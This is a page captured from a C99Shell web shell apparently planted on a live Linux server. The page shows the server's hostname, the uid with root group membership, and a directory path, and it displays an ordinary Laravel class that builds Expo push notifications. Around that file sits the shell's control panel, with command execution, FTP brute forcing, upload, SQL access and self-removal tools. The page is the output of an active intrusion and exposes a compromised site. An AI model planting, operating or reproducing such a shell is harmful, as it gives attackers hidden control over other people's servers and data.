!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/NotificationChannels/Expo/   drwxr-xr-x
Free 26.63 GB of 117.98 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExpoMessage.php (4.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\NotificationChannels\Expo;

use 
App\NotificationChannels\Expo\Exceptions\CouldNotSendNotification;

class 
ExpoMessage
{
    
/**
     * The message title.
     *
     * @var string
     */
    
protected $title;

    
/**
     * The message body.
     *
     * @var string
     */
    
protected $body;

    
/**
     * The sound to play when the recipient receives this notification.
     *
     * @var string|null
     */
    
protected $sound 'default';

    
/**
     * The number to display next to the push notification (iOS).
     * Specify zero to clear the badge.
     *
     * @var int
     */
    
protected $badge 0;

    
/**
     * The number of seconds for which the message may be kept around for redelivery if it has not been delivered yet.
     *
     * @var int
     */
    
protected $ttl 0;

    
/**
     * ID of the Notification Channel through which to display this notification on Android devices.
     *
     * @var string
     */
    
protected $channelId '';

    
/**
     * The json data attached to the message.
     *
     * @var string
     */
    
protected $jsonData '{}';

    
/**
     * The priority of notification message for Android devices.
     *
     * @var string
     */
    
protected $priority 'default';

    
/**
     * Create a message with given body.
     *
     * @param string $title
     * @param string $body
     *
     * @return static
     */
    
public static function create($title ''$body ''): ExpoMessage
    
{
        return new static(
$title$body);
    }

    
/**
     * ExpoMessage constructor.
     *
     * @param string $title
     * @param string $body
     */
    
public function __construct(string $title ''string $body '')
    {
        
$this->title $title;
        
$this->body $body;
    }

    
/**
     * Set the message title.
     *
     * @param string $value
     *
     * @return $this
     */
    
public function title(string $value): ExpoMessage
    
{
        
$this->title $value;

        return 
$this;
    }

    
/**
     * Set the message body.
     *
     * @param string $value
     *
     * @return $this
     */
    
public function body(string $value): ExpoMessage
    
{
        
$this->body $value;

        return 
$this;
    }

    
/**
     * Enable the message sound.
     *
     * @return $this
     */
    
public function enableSound(): ExpoMessage
    
{
        
$this->sound 'default';

        return 
$this;
    }

    
/**
     * Disable the message sound.
     *
     * @return $this
     */
    
public function disableSound(): ExpoMessage
    
{
        
$this->sound null;

        return 
$this;
    }

    
/**
     * Set the message badge (iOS).
     *
     * @param int $value
     *
     * @return $this
     */
    
public function badge(int $value): ExpoMessage
    
{
        
$this->badge $value;

        return 
$this;
    }

    
/**
     * Set the time to live of the notification.
     *
     * @param int $ttl
     *
     * @return $this
     */
    
public function setTtl(int $ttl): ExpoMessage
    
{
        
$this->ttl $ttl;

        return 
$this;
    }

    
/**
     * Set the channelId of the notification for Android devices.
     *
     * @param string $channelId
     *
     * @return $this
     */
    
public function setChannelId(string $channelId): ExpoMessage
    
{
        
$this->channelId $channelId;

        return 
$this;
    }

    
/**
     * Set the json Data attached to the message.
     *
     * @param array|string $data
     *
     * @return $this
     *
     * @throws CouldNotSendNotification
     */
    
public function setJsonData($data): ExpoMessage
    
{
        if (
is_array($data)) {
            
$data json_encode($data);
        } elseif (
is_string($data)) {
            @
json_decode($data);

            if (
json_last_error() !== JSON_ERROR_NONE) {
                throw  
CouldNotSendNotification::genericMessage('Invalid json format passed to setJsonData().');
            }
        }

        
$this->jsonData $data;

        return 
$this;
    }

    
/**
     *  Set the priority of the notification, must be one of [default, normal, high].
     *
     * @param string $priority
     *
     * @return $this
     */
    
public function priority(string $priority): ExpoMessage
    
{
        
$this->priority $priority;

        return 
$this;
    }

    
/**
     * Get an array representation of the message.
     *
     * @return array
     */
    
public function toArray(): array
    {
        
$message = [
            
'title'     =>  $this->title,
            
'body'      =>  $this->body,
            
'sound'     =>  $this->sound,
            
'badge'     =>  $this->badge,
            
'ttl'       =>  $this->ttl,
            
'data'      =>  $this->jsonData,
            
'priority'  =>  $this->priority,
        ];
        if (! empty(
$this->channelId)) {
            
$message['channelId'] = $this->channelId;
        }

        return 
$message;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--